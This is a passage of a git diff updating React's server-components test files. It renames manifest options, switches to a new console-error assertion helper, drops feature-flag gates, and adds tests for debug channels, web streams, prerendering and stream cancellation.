+    function ServerComponent(props) {
+      return null;
+    }
+
+    function App() {
+      return (
+        <div>
+          <ServerComponent client={client} />
+        </div>
+      );
+    }
+
+    const stream = await serverAct(() =>
+      passThrough(
+        ReactServerDOMServer.renderToReadableStream(<App />, webpackMap),
+      ),
+    );
+
+    // Parsing the root blocks because the module hasn't loaded yet
+    const response = ReactServerDOMClient.createFromReadableStream(stream, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+
+    function ClientRoot() {
+      return use(response);
+    }
+
+    // Initialize to be blocked.
+    response.then(() => {});
+    // Unblock.
+    resolveClientComponentChunk();
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(<ClientRoot />),
+    );
+    const result = await readResult(ssrStream);
+    expect(result).toEqual('<div></div>');
+  });
+
+  // @gate __DEV__
+  it('can transport debug info through a separate debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      passThrough(
+        ReactServerDOMServer.renderToReadableStream(
+          ReactServer.createElement(App, null),
+          webpackMap,
+          {
+            debugChannel: {
+              writable: new WritableStream({
+                write(chunk) {
+                  debugReadableStreamController.enqueue(chunk);
+                },
+                close() {
+                  debugReadableStreamController.close();
+                },
+              }),
+            },
+          },
+        ),
+      ),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [webpackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': webpackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: webpackModuleLoading,
+    };
+
+    const response = ReactServerDOMClient.createFromReadableStream(
+      // Create a delayed stream to simulate that the RSC stream might be
+      // transported slower than the debug channel, which must not lead to a
+      // `Connection closed` error in the Flight client.
+      createDelayedStream(rscStream),
+      {
+        serverConsumerManifest,
+        debugChannel: {readable: debugReadableStream},
+      },
+    );
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
+
+  // @gate __DEV__
+  it('can transport debug info through a slow debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    let debugReadableStreamController;
+
+    const debugReadableStream = new ReadableStream({
+      start(controller) {
+        debugReadableStreamController = controller;
+      },
+    });
+
+    const rscStream = await serverAct(() =>
+      passThrough(
+        ReactServerDOMServer.renderToReadableStream(
+          ReactServer.createElement(App, null),
+          webpackMap,
+          {
+            debugChannel: {
+              writable: new WritableStream({
+                write(chunk) {
+                  debugReadableStreamController.enqueue(chunk);
+                },
+                close() {
+                  debugReadableStreamController.close();
+                },
+              }),
+            },
+          },
+        ),
+      ),
+    );
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [webpackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': webpackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: webpackModuleLoading,
+    };
+
+    const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
+      serverConsumerManifest,
+      debugChannel: {
+        readable:
+          // Create a delayed stream to simulate that the debug stream might be
+          // transported slower than the RSC stream, which must not lead to
+          // missing debug info.
+          createDelayedStream(debugReadableStream),
+      },
+    });
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToReadableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
+
+  it('should properly resolve with deduped objects', async () => {
+    const obj = {foo: 'hi'};
+
+    function Test(props) {
+      return props.obj.foo;
+    }
+
+    const root = {
+      obj: obj,
+      node: <Test obj={obj} />,
+    };
+
+    const stream = ReactServerDOMServer.renderToReadableStream(root);
+
+    const response = ReactServerDOMClient.createFromReadableStream(stream, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+
+    const result = await response;
+    expect(result).toEqual({obj: obj, node: 'hi'});
+  });
+
+  it('does not leak the server reference code', async () => {
+    function foo() {
+      return 'foo';
+    }
+
+    const bar = () => {
+      return 'bar';
+    };
+
+    const anonymous = (
+      () => () =>
+        'anonymous'
+    )();
+
+    expect(
+      ReactServerDOMServer.registerServerReference(foo, 'foo-id').toString(),
+    ).toBe('function () { [omitted code] }');
+
+    expect(
+      ReactServerDOMServer.registerServerReference(bar, 'bar-id').toString(),
+    ).toBe('function () { [omitted code] }');
+
+    expect(
+      ReactServerDOMServer.registerServerReference(
+        anonymous,
+        'anonymous-id',
+      ).toString(),
+    ).toBe('function () { [omitted code] }');
   });
 });
diff --git a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMForm-test.js b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMForm-test.js
index e675e63837ad..9c8f7d242360 100644
--- a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMForm-test.js
+++ b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMForm-test.js
@@ -50,6 +50,7 @@ let ReactServerDOMClient;
 let ReactDOMClient;
 let useActionState;
 let act;
+let assertConsoleErrorDev;
 
 describe('ReactFlightDOMForm', () => {
   beforeEach(() => {
@@ -72,13 +73,15 @@ describe('ReactFlightDOMForm', () => {
     ReactDOMServer = require('react-dom/server.edge');
     ReactDOMClient = require('react-dom/client');
     act = React.act;
-
-    if (__VARIANT__) {
-      // Remove after API is deleted.
-      useActionState = require('react-dom').useFormState;
-    } else {
-      useActionState = require('react').useActionState;
-    }
+    assertConsoleErrorDev =
+      require('internal-test-utils').assertConsoleErrorDev;
+
+    // TODO: Test the old api but it warns so needs warnings to be asserted.
+    // if (__VARIANT__) {
+    // Remove after API is deleted.
+    // useActionState = require('react-dom').useFormState;
+    // }
+    useActionState = require('react').useActionState;
     container = document.createElement('div');
     document.body.appendChild(container);
   });
@@ -118,17 +121,7 @@ describe('ReactFlightDOMForm', () => {
       const method = (submitter && submitter.formMethod) || form.method;
       const encType = (submitter && submitter.formEnctype) || form.enctype;
       if (method === 'post' && encType === 'multipart/form-data') {
-        let formData;
-        if (submitter) {
-          const temp = document.createElement('input');
-          temp.name = submitter.name;
-          temp.value = submitter.value;
-          submitter.parentNode.insertBefore(temp, submitter);
-          formData = new FormData(form);
-          temp.parentNode.removeChild(temp);
-        } else {
-          formData = new FormData(form);
-        }
+        const formData = new FormData(form, submitter);
         return POST(formData);
       }
       throw new Error('Navigate to: ' + action);
@@ -166,7 +159,7 @@ describe('ReactFlightDOMForm', () => {
     }
     const rscStream = ReactServerDOMServer.renderToReadableStream(<App />);
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -232,7 +225,7 @@ describe('ReactFlightDOMForm', () => {
     }
     const rscStream = ReactServerDOMServer.renderToReadableStream(<App />);
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -272,7 +265,7 @@ describe('ReactFlightDOMForm', () => {
     }
     const rscStream = ReactServerDOMServer.renderToReadableStream(<App />);
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -343,7 +336,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -361,7 +354,6 @@ describe('ReactFlightDOMForm', () => {
     expect(foo).toBe('barobject');
   });
 
-  // @gate enableAsyncActions
   it("useActionState's dispatch binds the initial state to the provided action", async () => {
     const serverAction = serverExports(
       async function action(prevState, formData) {
@@ -391,7 +383,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -409,7 +401,6 @@ describe('ReactFlightDOMForm', () => {
     expect(await returnValue).toEqual({count: 6});
   });
 
-  // @gate enableAsyncActions
   it('useActionState can reuse state during MPA form submission', async () => {
     const serverAction = serverExports(
       async function action(prevState, formData) {
@@ -444,7 +435,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -469,7 +460,7 @@ describe('ReactFlightDOMForm', () => {
     const postbackResponse = ReactServerDOMClient.createFromReadableStream(
       postbackRscStream,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -498,7 +489,6 @@ describe('ReactFlightDOMForm', () => {
     }
   });
 
-  // @gate enableAsyncActions
   it(
     'useActionState preserves state if arity is the same, but different ' +
       'arguments are bound (i.e. inline closure)',
@@ -539,7 +529,7 @@ describe('ReactFlightDOMForm', () => {
       const response = ReactServerDOMClient.createFromReadableStream(
         rscStream,
         {
-          ssrManifest: {
+          serverConsumerManifest: {
             moduleMap: null,
             moduleLoading: null,
           },
@@ -569,7 +559,7 @@ describe('ReactFlightDOMForm', () => {
       const postbackResponse = ReactServerDOMClient.createFromReadableStream(
         postbackRscStream,
         {
-          ssrManifest: {
+          serverConsumerManifest: {
             moduleMap: null,
             moduleLoading: null,
           },
@@ -601,7 +591,7 @@ describe('ReactFlightDOMForm', () => {
       const postbackResponse2 = ReactServerDOMClient.createFromReadableStream(
         postbackRscStream2,
         {
-          ssrManifest: {
+          serverConsumerManifest: {
             moduleMap: null,
             moduleLoading: null,
           },
@@ -617,7 +607,6 @@ describe('ReactFlightDOMForm', () => {
     },
   );
 
-  // @gate enableAsyncActions
   it('useActionState does not reuse state if action signatures are different', async () => {
     // This is the same as the previous test, except instead of using bind to
     // configure the server action (i.e. a closure), it swaps the action.
@@ -660,7 +649,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -687,7 +676,7 @@ describe('ReactFlightDOMForm', () => {
     const postbackResponse = ReactServerDOMClient.createFromReadableStream(
       postbackRscStream,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -704,7 +693,6 @@ describe('ReactFlightDOMForm', () => {
     expect(container.textContent).toBe('111');
   });
 
-  // @gate enableAsyncActions
   it('when permalink is provided, useActionState compares that instead of the keypath', async () => {
     const serverAction = serverExports(
       async function action(prevState, formData) {
@@ -738,7 +726,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -766,7 +754,7 @@ describe('ReactFlightDOMForm', () => {
     const postbackResponse = ReactServerDOMClient.createFromReadableStream(
       postbackRscStream,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -794,7 +782,7 @@ describe('ReactFlightDOMForm', () => {
     const postbackResponse2 = ReactServerDOMClient.createFromReadableStream(
       postbackRscStream2,
       {
-        ssrManifest: {
+        serverConsumerManifest: {
           moduleMap: null,
           moduleLoading: null,
         },
@@ -810,7 +798,6 @@ describe('ReactFlightDOMForm', () => {
     expect(container.textContent).toBe('1');
   });
 
-  // @gate enableAsyncActions
   it('useActionState can change the action URL with the `permalink` argument', async () => {
     const serverAction = serverExports(function action(prevState) {
       return {state: prevState.count + 1};
@@ -838,7 +825,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -855,7 +842,6 @@ describe('ReactFlightDOMForm', () => {
     expect(form.action).toBe('http://localhost/permalink');
   });
 
-  // @gate enableAsyncActions
   it('useActionState `permalink` is coerced to string', async () => {
     const serverAction = serverExports(function action(prevState) {
       return {state: prevState.count + 1};
@@ -891,7 +877,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -908,7 +894,6 @@ describe('ReactFlightDOMForm', () => {
     expect(form.action).toBe('http://localhost/permalink');
   });
 
-  // @gate enableAsyncActions
   it('useActionState can return JSX state during MPA form submission', async () => {
     const serverAction = serverExports(
       async function action(prevState, formData) {
@@ -928,7 +913,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -954,7 +939,7 @@ describe('ReactFlightDOMForm', () => {
       const postbackResponse = ReactServerDOMClient.createFromReadableStream(
         postbackRscStream,
         {
-          ssrManifest: {
+          serverConsumerManifest: {
             moduleMap: null,
             moduleLoading: null,
           },
@@ -967,12 +952,14 @@ describe('ReactFlightDOMForm', () => {
       await readIntoContainer(postbackSsrStream);
     }
 
-    await expect(submitTheForm).toErrorDev(
+    await submitTheForm();
+    assertConsoleErrorDev([
       'Failed to serialize an action for progressive enhancement:\n' +
         'Error: React Element cannot be passed to Server Functions from the Client without a temporary reference set. Pass a TemporaryReferenceSet to the options.\n' +
         '  [<div/>]\n' +
-        '   ^^^^^^',
-    );
+        '   ^^^^^^' +
+        '\n    in <stack>',
+    ]);
 
     // The error message was returned as JSX.
     const form2 = container.getElementsByTagName('form')[0];
@@ -980,7 +967,6 @@ describe('ReactFlightDOMForm', () => {
     expect(form2.firstChild.tagName).toBe('DIV');
   });
 
-  // @gate enableAsyncActions && enableBinaryFlight
   it('useActionState can return binary state during MPA form submission', async () => {
     const serverAction = serverExports(
       async function action(prevState, formData) {
@@ -1007,7 +993,7 @@ describe('ReactFlightDOMForm', () => {
       webpackMap,
     );
     const response = ReactServerDOMClient.createFromReadableStream(rscStream, {
-      ssrManifest: {
+      serverConsumerManifest: {
         moduleMap: null,
         moduleLoading: null,
       },
@@ -1032,7 +1018,7 @@ describe('ReactFlightDOMForm', () => {
       );
       const postbackResponse =
         await ReactServerDOMClient.createFromReadableStream(postbackRscStream, {
-          ssrManifest: {
+          serverConsumerManifest: {
             moduleMap: null,
             moduleLoading: null,
           },
@@ -1044,10 +1030,12 @@ describe('ReactFlightDOMForm', () => {
       await readIntoContainer(postbackSsrStream);
     }
 
-    await expect(submitTheForm).toErrorDev(
+    await submitTheForm();
+    assertConsoleErrorDev([
       'Failed to serialize an action for progressive enhancement:\n' +
-        'Error: File/Blob fields are not yet supported in progressive forms. Will fallback to client hydration.',
-    );
+        'Error: File/Blob fields are not yet supported in progressive forms. Will fallback to client hydration.' +
+        '\n    in <stack>',
+    ]);
 
     expect(blob instanceof Blob).toBe(true);
     expect(blob.size).toBe(2);
diff --git a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMNode-test.js b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMNode-test.js
index 6f6a825e5e7d..0ac1f84cd396 100644
--- a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMNode-test.js
+++ b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMNode-test.js
@@ -5,42 +5,55 @@
  * LICENSE file in the root directory of this source tree.
  *
  * @emails react-core
+ * @jest-environment node
  */
 
 'use strict';
 
+import fs from 'fs';
+import os from 'os';
+import path from 'path';
 import {patchSetImmediate} from '../../../../scripts/jest/patchSetImmediate';
 
-global.ReadableStream =
-  require('web-streams-polyfill/ponyfill/es6').ReadableStream;
-
 let clientExports;
 let webpackMap;
 let webpackModules;
 let webpackModuleLoading;
 let React;
 let ReactDOMServer;
+let ReactDOMFizzStatic;
+let ReactServer;
 let ReactServerDOMServer;
+let ReactServerDOMStaticServer;
 let ReactServerDOMClient;
 let Stream;
 let use;
-let ReactServerScheduler;
-let reactServerAct;
+let assertConsoleErrorDev;
+let serverAct;
+
+// We test pass-through without encoding strings but it should work without it too.
+const streamOptions = {
+  objectMode: true,
+};
 
 describe('ReactFlightDOMNode', () => {
   beforeEach(() => {
     jest.resetModules();
 
-    ReactServerScheduler = require('scheduler');
-    patchSetImmediate(ReactServerScheduler);
-    reactServerAct = require('internal-test-utils').act;
+    patchSetImmediate();
+    serverAct = require('internal-test-utils').serverAct;
 
     // Simulate the condition resolution
     jest.mock('react', () => require('react/react.react-server'));
     jest.mock('react-server-dom-webpack/server', () =>
-      require('react-server-dom-webpack/server.node'),
+      jest.requireActual('react-server-dom-webpack/server.node'),
     );
+    ReactServer = require('react');
     ReactServerDOMServer = require('react-server-dom-webpack/server');
+    jest.mock('react-server-dom-webpack/static', () =>
+      jest.requireActual('react-server-dom-webpack/static.node'),
+    );
+    ReactServerDOMStaticServer = require('react-server-dom-webpack/static');
 
     const WebpackMock = require('./utils/WebpackMock');
     clientExports = WebpackMock.clientExports;
@@ -52,31 +65,79 @@ describe('ReactFlightDOMNode', () => {
     __unmockReact();
     jest.unmock('react-server-dom-webpack/server');
     jest.mock('react-server-dom-webpack/client', () =>
-      require('react-server-dom-webpack/client.node'),
+      jest.requireActual('react-server-dom-webpack/client.node'),
     );
 
     React = require('react');
     ReactDOMServer = require('react-dom/server.node');
+    ReactDOMFizzStatic = require('react-dom/static');
     ReactServerDOMClient = require('react-server-dom-webpack/client');
     Stream = require('stream');
     use = React.use;
+
+    const InternalTestUtils = require('internal-test-utils');
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
-  async function serverAct(callback) {
-    let maybePromise;
-    await reactServerAct(() => {
-      maybePromise = callback();
-      if (maybePromise && typeof maybePromise.catch === 'function') {
-        maybePromise.catch(() => {});
+  function filterStackFrame(filename, functionName) {
+    return (
+      filename !== '' &&
+      !filename.startsWith('node:') &&
+      !filename.includes('node_modules') &&
+      // Filter out our own internal source code since it'll typically be in node_modules
+      (!filename.includes('/packages/') || filename.includes('/__tests__/')) &&
+      !filename.includes('/build/')
+    );
+  }
+
+  const relativeFilename = path.relative(__dirname, __filename);
+
+  function normalizeCodeLocInfo(str, {preserveLocation = false} = {}) {
+    return (
+      str &&
+      str.replace(
+        /^ +(?:at|in) ([\S]+) ([^\n]*)/gm,
+        function (m, name, location) {
+          return (
+            '    in ' +
+            name +
+            (/:\d+:\d+/.test(m)
+              ? preserveLocation
+                ? ' ' + location.replace(__filename, relativeFilename)
+                : ' (at **)'
+              : '')
+          );
+        },
+      )
+    );
+  }
+
+  /**
+   * Removes all stackframes not pointing into this file
+   */
+  function ignoreListStack(str) {
+    if (!str) {
+      return str;
+    }
+
+    let ignoreListedStack = '';
+    const lines = str.split('\n');
+
+    // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+    for (const line of lines) {
+      if (line.indexOf(__filename) === -1) {
+      } else {
+        ignoreListedStack += '\n' + line.replace(__dirname, '.');
       }
-    });
-    return maybePromise;
+    }
+
+    return ignoreListedStack;
   }
 
   function readResult(stream) {
     return new Promise((resolve, reject) => {
       let buffer = '';
-      const writable = new Stream.PassThrough();
+      const writable = new Stream.PassThrough(streamOptions);
       writable.setEncoding('utf8');
       writable.on('data', chunk => {
         buffer += chunk;
@@ -91,6 +152,100 @@ describe('ReactFlightDOMNode', () => {
     });
   }
 
+  async function readWebResult(webStream: ReadableStream<Uint8Array>) {
+    const reader = webStream.getReader();
+    let result = '';
+    while (true) {
+      const {done, value} = await reader.read();
+      if (done) {
+        return result;
+      }
+      result += Buffer.from(value).toString('utf8');
+    }
+  }
+
+  async function createBufferedUnclosingStream(
+    stream: ReadableStream<Uint8Array>,
+  ): Promise<ReadableStream<Uint8Array>> {
+    const chunks: Array<Uint8Array> = [];
+    const reader = stream.getReader();
+    while (true) {
+      const {done, value} = await reader.read();
+      if (done) {
+        break;
+      } else {
+        chunks.push(value);
+      }
+    }
+
+    let i = 0;
+    return new ReadableStream({
+      async pull(controller) {
+        if (i < chunks.length) {
+          controller.enqueue(chunks[i++]);
+        }
+      },
+    });
+  }
+
+  function createDelayedStream() {
+    let resolveDelayedStream;
+    const promise = new Promise(resolve => (resolveDelayedStream = resolve));
+    const delayedStream = new Stream.Transform({
+      ...streamOptions,
+      transform(chunk, encoding, callback) {
+        // Artificially delay pushing the chunk.
+        promise.then(() => {
+          this.push(chunk);
+          callback();
+        });
+      },
+    });
+    return {delayedStream, resolveDelayedStream};
+  }
+
+  it('should support web streams in node', async () => {
+    function Text({children}) {
+      return <span>{children}</span>;
+    }
+    // Large strings can get encoded differently so we need to test that.
+    const largeString = 'world'.repeat(1000);
+    function HTML() {
+      return (
+        <div>
+          <Text>hello</Text>
+          <Text>{largeString}</Text>
+        </div>
+      );
+    }
+
+    function App() {
+      const model = {
+        html: <HTML />,
+      };
+      return model;
+    }
+
+    const readable = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(<App />, webpackMap),
+    );
+    const response = ReactServerDOMClient.createFromReadableStream(readable, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+    const model = await response;
+    expect(model).toEqual({
+      html: (
+        <div>
+          <span>hello</span>
+          <span>{largeString}</span>
+        </div>
+      ),
+    });
+  });
+
   it('should allow an alternative module mapping to be used for SSR', async () => {
     function ClientComponent() {
       return <span>Client Component</span>;
@@ -116,7 +271,7 @@ describe('ReactFlightDOMNode', () => {
         '*': ssrMetadata,
       },
     };
-    const ssrManifest = {
+    const serverConsumerManifest = {
       moduleMap: translationMap,
       moduleLoading: webpackModuleLoading,
     };
@@ -128,7 +283,7 @@ describe('ReactFlightDOMNode', () => {
     const stream = await serverAct(() =>
       ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap),
     );
-    const readable = new Stream.PassThrough();
+    const readable = new Stream.PassThrough(streamOptions);
     let response;
 
     stream.pipe(readable);
@@ -137,7 +292,7 @@ describe('ReactFlightDOMNode', () => {
       if (response) return use(response);
       response = ReactServerDOMClient.createFromNodeStream(
         readable,
-        ssrManifest,
+        serverConsumerManifest,
       );
       return use(response);
     }
@@ -160,7 +315,7 @@ describe('ReactFlightDOMNode', () => {
       }),
     );
 
-    const readable = new Stream.PassThrough();
+    const readable = new Stream.PassThrough(streamOptions);
 
     const stringResult = readResult(readable);
     const parsedResult = ReactServerDOMClient.createFromNodeStream(readable, {
@@ -183,7 +338,6 @@ describe('ReactFlightDOMNode', () => {
     expect(result.text).toBe(testString);
   });
 
-  // @gate enableBinaryFlight
   it('should be able to serialize any kind of typed array', async () => {
     const buffer = new Uint8Array([
       123, 4, 10, 5, 100, 255, 244, 45, 56, 67, 43, 124, 67, 89, 100, 20,
@@ -206,7 +360,7 @@ describe('ReactFlightDOMNode', () => {
     const stream = await serverAct(() =>
       ReactServerDOMServer.renderToPipeableStream(buffers),
     );
-    const readable = new Stream.PassThrough();
+    const readable = new Stream.PassThrough(streamOptions);
     const promise = ReactServerDOMClient.createFromNodeStream(readable, {
       moduleMap: {},
       moduleLoading: webpackModuleLoading,
@@ -241,7 +395,7 @@ describe('ReactFlightDOMNode', () => {
         '*': ssrMetadata,
       },
     };
-    const ssrManifest = {
+    const serverConsumerManifest = {
       moduleMap: translationMap,
       moduleLoading: webpackModuleLoading,
     };
@@ -253,7 +407,7 @@ describe('ReactFlightDOMNode', () => {
     const stream = await serverAct(() =>
       ReactServerDOMServer.renderToPipeableStream(<App />, webpackMap),
     );
-    const readable = new Stream.PassThrough();
+    const readable = new Stream.PassThrough(streamOptions);
     let response;
 
     stream.pipe(readable);
@@ -262,7 +416,7 @@ describe('ReactFlightDOMNode', () => {
       if (response) return use(response);
       response = ReactServerDOMClient.createFromNodeStream(
         readable,
-        ssrManifest,
+        serverConsumerManifest,
         {
           nonce: 'r4nd0m',
         },
@@ -279,8 +433,7 @@ describe('ReactFlightDOMNode', () => {
     );
   });
 
-  // @gate enableFlightReadableStream
-  it('should cancels the underlying ReadableStream when we are cancelled', async () => {
+  it('should cancel the underlying and transported ReadableStreams when we are cancelled', async () => {
     let controller;
     let cancelReason;
     const s = new ReadableStream({
@@ -304,16 +457,30 @@ describe('ReactFlightDOMNode', () => {
       ),
     );
 
-    const writable = new Stream.PassThrough();
-    rscStream.pipe(writable);
+    const readable = new Stream.PassThrough(streamOptions);
+    rscStream.pipe(readable);
+
+    const result = await ReactServerDOMClient.createFromNodeStream(readable, {
+      moduleMap: {},
+      moduleLoading: webpackModuleLoading,
+    });
+    const reader = result.getReader();
 
     controller.enqueue('hi');
 
+    await serverAct(async () => {
+      // We should be able to read the part we already emitted before the abort
+      expect(await reader.read()).toEqual({
+        value: 'hi',
+        done: false,
+      });
+    });
+
     const reason = new Error('aborted');
-    writable.destroy(reason);
+    readable.destroy(reason);
 
     await new Promise(resolve => {
-      writable.on('error', () => {
+      readable.on('error', () => {
         resolve();
       });
     });
@@ -321,10 +488,17 @@ describe('ReactFlightDOMNode', () => {
     expect(cancelReason.message).toBe(
       'The destination stream errored while writing data.',
     );
+
+    let error = null;
+    try {
+      await reader.read();
+    } catch (x) {
+      error = x;
+    }
+    expect(error).toBe(reason);
   });
 
-  // @gate enableFlightReadableStream
-  it('should cancels the underlying ReadableStream when we abort', async () => {
+  it('should cancel the underlying and transported ReadableStreams when we abort', async () => {
     const errors = [];
     let controller;
     let cancelReason;
@@ -349,7 +523,7 @@ describe('ReactFlightDOMNode', () => {
       ),
     );
 
-    const readable = new Stream.PassThrough();
+    const readable = new Stream.PassThrough(streamOptions);
     rscStream.pipe(readable);
 
     const result = await ReactServerDOMClient.createFromNodeStream(readable, {
@@ -373,4 +547,1366 @@ describe('ReactFlightDOMNode', () => {
     expect(error.digest).toBe('aborted');
     expect(errors).toEqual([reason]);
   });
+
+  it('can prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <Greeting />
+        </div>
+      );
+    }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(
+          <App />,
+          webpackMap,
+        ),
+      };
+    });
+
+    resolveGreeting();
+    const {prelude} = await pendingResult;
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromNodeStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+    // Use the SSR render to resolve any lazy elements
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToPipeableStream(
+        React.createElement(ClientRoot, {response}),
+      ),
+    );
+    // Should still match the result when parsed
+    const result = await readResult(ssrStream);
+    expect(result).toBe('<div>hello world</div>');
+  });
+
+  it('does not propagate abort reasons errors when aborting a prerender', async () => {
+    let resolveGreeting;
+    const greetingPromise = new Promise(resolve => {
+      resolveGreeting = resolve;
+    });
+
+    function App() {
+      return (
+        <div>
+          <ReactServer.Suspense fallback="loading...">
+            <Greeting />
+          </ReactServer.Suspense>
+        </div>
+      );
+    }
+
+    async function Greeting() {
+      await greetingPromise;
+      return 'hello world';
+    }
+
+    const controller = new AbortController();
+    const errors = [];
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerenderToNodeStream(
+          <App />,
+          webpackMap,
+          {
+            signal: controller.signal,
+            onError(err) {
+              errors.push(err);
+            },
+          },
+        ),
+      };
+    });
+
+    controller.abort('boom');
+    resolveGreeting();
+    const {prelude} = await serverAct(() => pendingResult);
+    expect(errors).toEqual([]);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
